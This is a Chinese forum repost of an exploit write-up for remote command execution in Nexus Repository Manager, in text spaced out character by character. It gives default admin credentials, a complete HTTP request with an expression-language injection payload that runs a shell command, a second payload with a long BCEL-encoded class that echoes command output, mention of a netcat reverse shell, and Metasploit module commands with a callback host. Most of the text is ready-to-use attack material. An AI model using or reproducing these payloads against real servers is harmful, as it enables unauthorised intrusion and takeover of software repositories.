搜索

[20381] 2020-10-28_Nexus远程命令执行CVE-2020-1019

文档创建者：s7ckTeam
浏览次数：29
最后更新：2025-01-18
2020-10-28_Nexus远程命令执行CVE-2020-1019 N e x u s 远 程 命 令 执 行 C V E - 2 0 2 0 - 1 0 1 9 原 创   v o i d z e r o   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 0 - 2 8 1 .       N e x u s 默 认 账 户 密 码 是 a d m i n / a d m i n ， 在 登 录 过 后 复 制 c s r f - t o k e n 进 行 替 换 P a y l o a d ： P O S T   / s e r v i c e / r e s t / b e t a / r e p o s i t o r i e s / g o / g r o u p   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 2 4 . 1 4 5 : 8 0 8 1 C o n t e n t - L e n g t h :   2 8 4 X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t X - N e x u s - U I :   t r u e U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ) A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 0 . 0 . 3 9 8 7 . 1 4 9   S a f a r i / 5 3 7 . 3 6 N X - A N T I - C S R F - T O K E N :   0 . 4 7 5 2 2 7 3 4 4 9 7 9 9 3 3 3 5 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n A c c e p t :   * / * A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o o k i e : N X - A N T I - C S R F - T O K E N = 0 . 4 7 5 2 2 7 3 4 4 9 7 9 9 3 3 3 5 ; N X S E S S I O N I D = 2 3 b 9 d 9 8 d - a a e 8 - 4 9 4 3 - b c 3 c - 0 4 8 4 5 2 b d a 6 b e C o n n e c t i o n :   c l o s e   {     " n a m e " : " i n t e r n a l " ,   " o n l i n e " :   t r u e ,   " s t o r a g e " :   {       " b l o b S t o r e N a m e " :   " d e f a u l t " ,       " s t r i c t C o n t e n t T y p e V a l i d a t i o n " :   t r u e     } ,   " g r o u p " :   {       " m e m b e r N a m e s " : [ " $ A { ' ' . g e t C l a s s ( ) . f o r N a m e ( ' j a v a . l a n g . R u n t i m e ' ) . g e t M e t h o d s ( ) [ 6 ] . i n v o k e ( n u l l ) . e x e c ( ' t o u c h / t m p / 1 ' ) } " ]     } }   此 p a y l o a d 无 回 显 ， 成 功 在 目 标 主 机 的 / t m p 目 录 下 创 建 了 s u c c e d 文 件 经 过 改 包 可 以 实 现 回 显 的 形 式 返 回 P a y l o a d ： {               " n a m e " :   " i n t e r n a l " ,               " o n l i n e " :   t r u e ,                 " s t o r a g e " :   {                       " b l o b S t o r e N a m e " :   " d e f a u l t " ,                       " s t r i c t C o n t e n t T y p e V a l i d a t i o n " :   t r u e                 } ,               " g r o u p " :   {                       " m e m b e r N a m e s " : [ " $ { ' ' . g e t C l a s s ( ) . f o r N a m e ( ' c o m . s u n . o r g . a p a c h e . b c e l . i n t e r n a l . u t i l . C l a s s L o a d e r ' ) . n e w I n s t a n c e ( ) . l o a d C l a s s ( ' $ $ B C E L $ $ $ l $ 8 b $ I $ A $ A $ A $ A $ A $ A $ A $ 8 d V $ e b $ 7 f $ U W $ Z $ 7 e N $ b 2 $ d 9 $ 9 9 L $ s $ 9 b d 6 $ 9 b d $ A $ x H $ 8 0 M $ 8 0 $ 5 d J $ 8 1 $ 9 6 $ e 5 b C $ K $ e 5 $ S $ u $ 9 2 4 $ Y R $ a d $ 9 3 e H $ W 6 $ 3 b $ d b $ d 9 $ d 9 $ Q $ d 0 j $ d 1 Z $ e a $ a d V Q $ y j $ d 1 R 5 $ d e 5 $ a 2 $ h $ q $ 8 2 h $ V $ b 5 $ 9 f $ f c $ e a 7 $ 3 f $ f 6 $ _ $ e 0 $ 8 3 $ 3 f $ 7 f $ 8 d $ c f $ 9 9 $ d d $ N $ d 9 d $ 5 b $ f c $ R $ c e $ c e y o $ e 7 y $ d f $ f 3 $ 3 e $ e f $ c c $ d b $ e f $ d e $ b c $ N $ 6 0 $ L $ f e $ a 1 $ n $ I G A V C $ N $ 9 c z $ $ $ c f I $ 8 9 $ a b $ m $ a 7 $ e 2 i $ N m $ f 0 4 $ e 4 1 $ n $ 9 7 $ b 3 $ w $ s $ a 5 $ e 4 $ 9 c $ 8 a $ f 3 $ K $ 8 6 U $ 7 c R $ c 5 $ a 7 4 t $ e 0 y $ v $ f d $ b 4 $ 8 a $ c f h X $ 8 1 $ X T $ 5 c P $ f 0 Y $ v $ f a $ 9 c $ 8 2 $ X 5 $ 7 c $ k $ _ $ a 9 $ b 8 $ a 8 $ e 2 e $ F _ P $ f 1 E $ V _ R $ f 1 e $ F _ Q $ f 1 $ 8 a $ 8 a $ a f j x $ V _ $ 9 3 $ c b $ d 7 $ V $ 5 c R $ f 0 $ N $ N $ d f $ c 4 e $ N k $ f 1 $ z $ N k $ f 0 $ 9 a $ 8 2 $ x $ g $ b a $ e 1 $ c 8 $ c d $ b 7 $ e 5 $ d 3 w T $ 7 c W $ f e $ b e $ a e a $ r $ a e $ c a $ e 5 $ 7 b $ K $ b e $ a f $ e 0 $ N $ 8 1 $ a 0 7 $ e 6 $ d a $ d 6 I $ B $ a 3 $ e f $ b 4 5 a $ c 5 $ d 3 V f 4 $ 3 e $ e 0 $ c b v P $ b b 3 $ 9 5 I y $ b b $ F j $ a 3 $ 5 d $ 8 3 $ C $ 8 1 $ 5 e $ e 7 $ a 4 $ z $ d 0 $ d 4 $ 9 7 $ c a $ d 8 G $ f 2 $ e 3 $ p $ b 6 $ 3 b $ 6 0 $ 8 d $ a 4 m $ e 9 $ e c $ q $ a d $ f 4 $ a 0 $ e 5 $ a 6 $ e 4 $ b e $ q $ M x c $ a 9 $ 9 c $ 4 0 C $ 9 f $ 3 d $ 9 1 J $ c 7 $ e 5 $ c 2 $ 8 8 $ e a $ c e d $ b a $ U 3 $ b 4 $ d f $ f 3 $ b 2 $ b d N $ s c $ t $ b d $ 9 4 $ 9 3 $ R h Y $ A $ a 1 7 m $ e 5 r $ b 4 o $ Y $ 9 3 F c $ W $ a d $ d 2 $ 9 5 $ m $ 9 f $ g 9 M G i $ b 2 $ 7 f $ a 1 $ 8 9 $ e 2 $ d a $ c f $ e 5 $ e d $ 9 c G $ f 0 c L $ c 2 v $ x $ b d $ f a $ 3 d 7 $ 9 5 $ Z $ 9 5 $ 4 0 $ 5 c $ 3 b $ 9 7 u 2 9 $ C $ N $ 9 e u S $ 9 e 4 $ 8 c $ U $ N S N $ f c $ u $ a d $ b c $ e 3 $ b e $ 9 8 $ b 6 $ b 5 $ c 9 q V $ u $ 3 c $ 5 c $ z N M $ 9 6 9 $ 8 6 $ X h $ 8 e $ b a N $ d 2 $ f 6 $ b 1 $ d 7 $ 8 c 0 f $ c 7 $ 7 c $ c c $ 3 d $ f 9 S $ a 7 l $ d 7 $ 3 e y $ c c $ 8 7 $ r $ f 5 $ b 9 $ 9 1 y $ f d $ 8 2 $ a 0 E $ 3 b $ e a $ D $ a c $ 9 4 $ 8 4 G $ a 4 $ f 9 4 $ T $ K $ 8 d $ z $ w X $ d 0 $ f 1 k $ m $ a 0 $ X o $ d 1 $ b f $ F $ c 2 1 $ X $ c 4 t $ e d S i $ d a $ c 4 $ f 7 $ a 5 $ e c $ b 4 $ b c $ d 2 $ d 0 $ C $ d 3 $ c 3 V $ 9 6 $ d 8 $ x $ F $ y $ f c $ f 9 $ f 3 $ C $ 9 a $ t $ _ $ d 1 w b M $ 8 b $ e 7 $ e 4 $ W $ d 5 $ 6 0 $ f e $ G 4 $ 3 b $ e 3 $ b 9 $ e 7 $ f c $ x c w $ f 8 $ 9 b A $ x $ 9 d $ _ $ b b $ b 7 U v $ c 7 $ b 9 l $ b 9 C Z $ X _ $ f 8 $ c e $ e e $ d d $ M $ d 7 $ d 8 $ e f Y $ c 9 3 $ c 4 $ e 2 $ 9 b $ 9 1 U $ K $ a e $ 9 1 $ V $ q $ I $ d 9 $ 4 0 $ S $ u 8 $ a 8 $ e 0 M $ b f $ f 5 $ a f $ 9 4 $ f b X $ e b w $ f 2 n $ 9 2 $ t $ c a $ b 8 $ f 5 $ b 2 $ d 9 b 2 $ b 6 $ 8 e m x $ b 4 $ q $ f 0 $ 5 b P $ t $ 7 f $ b 7 $ e a $ f 8 $ B $ 7 e $ u $ d 0 $ b c $ b 8 $ e 3 u $ f c $ I S $ 3 c L $ c 7 $ 8 f $ f 1 $ T $ j $ 3 f $ c 5 $ c f $ E $ 3 a $ a 5 Q L $ g $ c 5 $ G $ e e $ X $ a a s $ a 0 $ a 2 h $ 3 a $ 7 e $ 8 e _ $ I $ d 4 y $ c 5 $ b c $ b a $ f f $ l $ 9 f $ c e $ b d $ b 2 N t $ 9 a $ 9 0 $ a 5 $ d 2 $ f 1 K $ f c J $ c 7 $ a f 1 $ z $ b 0 $ c e q G c 6 y $ 9 2 $ c d $ d 9 $ b 1 $ d 3 $ b 6 $ e 7 $ 9 d $ 8 b $ e 5 l w $ c 2 v c $ 9 5 $ 8 c $ d 1 $ f 1 $ h $ 5 c $ e 7 $ 8 d $ 8 e $ d a $ 5 e $ F $ F $ 9 a $ W U U $ c 7 o $ f 1 $ b b $ 8 a t $ 8 b 7 $ a 7 $ a 0 $ a 0 c $ G 7 X $ 3 d $ 8 6 8 V $ e 6 M $ b d $ 8 c W $ a 2 N $ f 3 $ e 2 $ e 6 $ q $ Z $ b 6 l $ d a B $ d 2 $ f 9 $ k e $ G I $ 9 7 $ e 3 $ r $ S $ 8 5 $ a b p $ 8 8 $ W $ f 1 $ 9 1 T $ s $ 3 e b $ e 5 $ c 6 $ d 8 $ f 7 $ h $ 9 3 $ K $ 7 e $ a f $ e 3 $ s f u $ f c $ B $ b 7 $ d 8 $ n $ d 5 9 $ c 2 N $ $ $ x $ O d $ b 2 y $ 8 f $ Q l k $ b c $ a 8 c $ H $ e 8 $ b 8 $ 8 d $ 3 f $ c a $ h $ b e $ p $ 9 7 $ 3 f $ 9 5 $ c 3 $ y $ a 1 $ 9 2 $ 8 e $ 3 f c Z $ c 7 $ 5 b $ f 8 $ 8 b $ 8 0 $ d 0 t $ f c U $ e e $ e e $ e 2 o $ 3 a $ f e $ $ $ 9 b c $ e 5 $ 7 d $ a f $ D $ e 9 $ b 4 $ 3 d j $ a 5 $ 7 b $ 9 2 $ 9 2 $ c 1 $ 7 b $ t $ 9 3 v $ b 6 H $ b 4 $ f 0 $ 7 d $ 9 3 $ F $ d 2 $ f 6 $ f 7 $ 6 0 $ Z $ t $ d 9 $ 9 2 q $ c 0 $ a e N $ e 6 $ 5 d $ 9 7 $ d c $ Y $ u $ N $ d c $ d 6 h W $ b 5 $ 9 1 $ d b $ c c R $ 3 e $ c 1 $ c b $ b 7 X $ 8 5 R $ b 4 $ 8 d $ d 1 $ a 5 $ 8 3 $ a 7 $ e b $ 7 d $ u $ d e $ 9 8 $ b 3 $ b d b $ K $ a 9 $ e 2 $ m $ 8 e $ 9 e $ 9 0 $ d 3 $ b b $ 9 6 $ 9 1 $ F $ d 6 F $ 9 7 2 $ b 8 $ a b $ g $ a 9 $ 9 5 S $ 8 e $ 7 b $ c 4 $ g $ a 7 $ f f $ 9 a $ H $ 9 c _ $ 9 e $ d 5 $ w $ P $ u $ N $ 8 1 p $ b 4 $ 9 a $ 8 1 B $ 8 3 b $ c 8 $ c a $ e 4 $ e 7 $ 8 7 i $ 9 0 $ 3 d $ e 8 O $ b 0 H 5 $ 9 4 $ t $ 8 a $ 8 d v $ d 8 $ f 6 $ c 6 $ i $ 9 6 $ e 5 $ f 1 $ w $ b 0 $ 8 6 $ 9 7 $ 9 c Z $ a d P $ c 5 $ I $ 3 c $ a f $ e 3 $ b d t $ 8 4 $ 9 2 $ c a L 8 g $ I u $ 7 b $ V $ u U $ a 6 $ 6 0 $ d 5 $ g $ $ $ e 8 $ 8 3 c $ f 9 $ 8 c $ 9 7 $ 9 2 $ a 9 $ f b $ 5 c $ x o $ o $ V u $ u $ 8 9 $ e 5 $ e 8 $ b 7 $ t $ e d $ a 4 $ 4 0 4 Z $ e 5 $ 9 d $ d 3 U $ f 5 e $ p $ a 7 $ c 0 $ C $ 9 2 $ b 0 $ 3 b $ c b $ a 1 $ x $ d 9 $ p $ b 3 $ 8 e V U $ c 8 $ k $ J $ d f W $ 9 5 $ 5 e S R $ a a $ f a s $ a b $ f 8 2 $ b 2 $ b 2 Y $ 3 b $ c 3 $ f a l x $ 4 0 S $ y z $ 9 7 $ a 9 $ 9 e S $ k $ m u $ f e $ e b v $ d 1 $ j $ 9 7 $ p $ f 0 $ b 4 $ b a d $ d a $ c 9 $ d 9 X $ c 5 $ e f $ a a $ m $ b f $ b 7 X 1 9 $ b 3 $ f 9 T $ c 3 g $ 8 e s $ a e $ 8 f q $ X $ e 7 $ a f $ e 0 o $ 5 d $ f 7 $ M $ c 4 $ b 4 $ a f $ d e $ c e 5 $ e 8 $ L U $ q $ b 8 $ e a E $ D $ e c $ c 0 N _ $ b 6 $ a b $ e c $ i $ e 8 $ a 4 $ d d 2 $ c 6 $ 7 e s $ W 5 C 3 $ a 8 $ b d $ 8 e $ c 0 $ N $ d 4 $ j 2 $ 8 2 $ 8 6 R $ 8 0 $ d a $ b 7 $ 3 e P $ 4 0 $ f d $ f a $ e e $ C $ b 4 $ c 3 F $ c 3 $ N $ e 8 G 6 $ g $ 8 d $ 9 4 $ t $ C f $ 4 0 j $ c c $ c 0 $ G $ a a $ e e $ m $ c 4 $ b f D $ 9 d $ d 1 D $ 8 b D $ d 0 $ M $ g $ c d $ d 2 F 1 $ V $ d f $ a 6 $ $ $ a 1 $ 9 a $ e a $ e d m $ f 5 $ b 5 $ d b $ b 4 $ 8 8 $ W $ a 9 $ b f $ s $ b 6 $ 9 a j D $ d b $ 9 c h 0 $ h $ e e $ 8 a $ d 5 $ a 6 b 6 0 F B 7 $ f 5 $ b b $ a 2 $ d 9 $ d 4 $ L h $ v $ c 0 0 $ c 2 $ F $ b 4 $ 5 e $ e 1 $ d 8 $ 9 3 $ f b D $ a 3 $ d 9 h D j o $ a 1 $ a d $ 8 0 v S $ e 7 C G $ B f $ o d $ 8 6 $ a 4 $ b 2 $ c 9 l 2 $ 9 6 $ 9 5 $ 9 5 $ a 1 $ b 2 $ b 2 $ d 9 $ q $ 8 6 $ W c y $ 8 0 $ 8 a $ a 1 Z c E $ b f $ d 4 6 s $ d 7 $ c 1 $ d d $ H $ b 8 3 $ e f $ 6 0 E $ a 2 $ 8 5 $ b e $ P $ z $ f 1 5 L C $ f a $ 7 e $ b 0 $ a c 0 J $ 8 a $ 3 b X $ 9 9 $ I $ H o a $ F C $ a c $ e a $ l $ K $ Y $ l $ e a $ l $ a a 3 $ 5 b $ f a $ T $ a d 7 $ b 0 $ d a l $ z $ a 0 3 $ R $ 9 9 $ c 5 $ 9 a $ a 1 Y $ a c $ j 2 $ p $ F $ a c $ 9 b A t $ G $ 5 d $ 8 9 $ b 6 Y t $ b 3 $ b 6 $ e b $ T $ e d $ s $ e 3 m $ Y J t $ d c E $ d 8 l 7 $ Z s $ a 3 $ R $ e 3 r $ 7 c j $ e e $ j $ b 3 $ b d $ 8 0 x $ c 2 4 $ c 3 $ a 6 Y $ c 0 $ s $ 9 3 $ f 9 $ 3 f $ 3 c $ 8 5 $ b a $ 8 4 $ f e $ a 2 $ s $ a 6 $ d e $ 7 d $ 7 b $ K $ 8 1 C $ d 3 $ b c $ d 8 I q I $ 5 c $ c 6 f h $ e 2 $ a a x $ D $ 8 f $ m $ e 0 _ $ f 5 U $ a c $ e 3 Z $ c f $ f e h D $ I M $ f c x n $ c 6 r $ 8 4 $ d 9 9 m $ d 4 t $ b 0 C L $ f 6 $ c d r $ f 4 $ e 2 $ n $ i $ e 4 G o $ 3 f 5 C X $ 8 d $ i $ 3 a 1 $ c 9 $ a f $ e 5 $ L $ b 4 z $ J Q $ 5 c F $ X $ 5 e $ c 7 z $ 5 c $ c 7 $ G $ b e $ 9 3 b $ f 8 $ t 6 $ e 1 $ k $ k $ W $ 3 a 6 $ 8 b $ u $ k $ R $ b b $ b 0 E $ 3 c $ 8 9 $ a d $ e 2 $ Z l $ T 6 $ k $ T Y l $ X $ _ $ 6 0 $ 8 7 $ b 8 $ 8 8 $ 5 d $ e 2 $ V $ e c $ W $ 9 7 $ d 0 K t $ 3 d $ e 2 5 $ a c $ W W $ b 1 $ 9 f $ I $ f 7 $ 8 9 k $ 3 c Q $ b 6 $ e 0 $ 3 b h g $ e c $ 7 b $ d 8 $ 8 d $ P $ T $ e 5 u $ f c $ h $ 8 f $ a 3 $ 8 7 h o $ e 2 _ $ d 8 C Y $ T O $ 7 b $ 8 b $ I $ 7 b $ 8 8 $ f d $ k $ z $ 9 f $ c 0 $ 5 e $ b 4 $ f 0 $ e 4 $ 8 b $ d 8 G $ 9 9 $ c 1 $ f 3 $ c f $ e 0 I $ e c G $ 9 8 $ u $ G q $ 8 0 Q $ 5 b $ 8 9 $ a 5 $ P $ 8 7 $ f 8 $ 3 f B D $ 8 f $ e 2 0 $ 8 e $ a 0 $ 8 d $ b 8 b x $ K G $ d 1 $ $ $ c 6 $ 9 9 $ d 9 G $ Y $ a 5 $ 8 3 $ f 8 t $ i $ e 3 $ 9 3 $ 8 9 $ L $ c 2 $ 6 0 $ f 6 $ 3 d $ d c $ e 7 $ c 4 $ g $ M $ f 0 $ a 9 $ B $ n $ f 1 j $ 8 9 W m $ e 2 e $ 3 c $ c d $ e 8 $ C $ a b $ c 4 $ f 3 8 N m $ N $ d 6 $ 8 9 $ b 3 $ f 8 $ u $ f 1 $ d 5 $ o $ $ $ i V m $ 9 0 5 $ e f $ V $ c 3 8 $ 8 1 a $ S $ e a $ a 0 $ Y $ c 0 3 $ d 4 $ G $ d 1 $ _ $ O $ e 1 c $ d 4 $ w $ f 8 $ b 8 $ 8 c D $ c f b $ b 6 $ c f 2 $ d b b $ 8 e $ c f 2 $ c 7 O P 7 $ 8 d $ f a 9 $ d 8 h P $ 6 0 $ v $ Y Q $ c 0 o $ 8 0 $ 9 3 $ f e C h $ f e A $ 9 0 $ a e s $ f c $ d 7 $ f 1 $ b e 6 $ b e $ b 8 $ a 8 $ 9 9 _ m $ 7 f $ 3 d $ a 5 $ 6 0 T $ c 1 $ 9 8 $ 8 2 $ 9 4 $ 8 2 $ d 3 $ c 0 $ 7 f $ b 1 $ 8 c $ 9 a 9 $ Y $ d 0 $ l $ U $ Q $ d 8 $ a 3 $ e 0 $ c c $ 7 f $ m $ e 6 $ 9 8 $ j $ f c $ 5 d Z $ 8 e $ 9 e q $ 7 f $ a e d $ f e $ H $ c 3 $ e 0 $ Q $ 5 e $ f b $ N $ A $ A ' ) . n e w I n s t a n c e ( ) } " ]                 }         }   在 包 头 加 上 4 0 4 头 即 可
也 可 以 进 行 弹 s h e l l N c 监 听 ， 成 功 反 弹 s h e l l 2 .       自 动 化 ： M s f 里 集 成 了 此 漏 洞 的 攻 击 模 块 ， 只 需 在 m s f 里 操 作 也 可 以 拿 到 s h e l l   u s e   e x p l o i t / l i n u x / h t t p / n e x u s _ r e p o _ m a n a g e r _ e l _ i n j e c t i o n s e t   p a s s w o r d   a d m i n s e t   r h o s t s   目 标 I P s e t   l h o s t   回 连 I P s e t   s r v p o r t   8 0 8 1 e x p l o i t  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理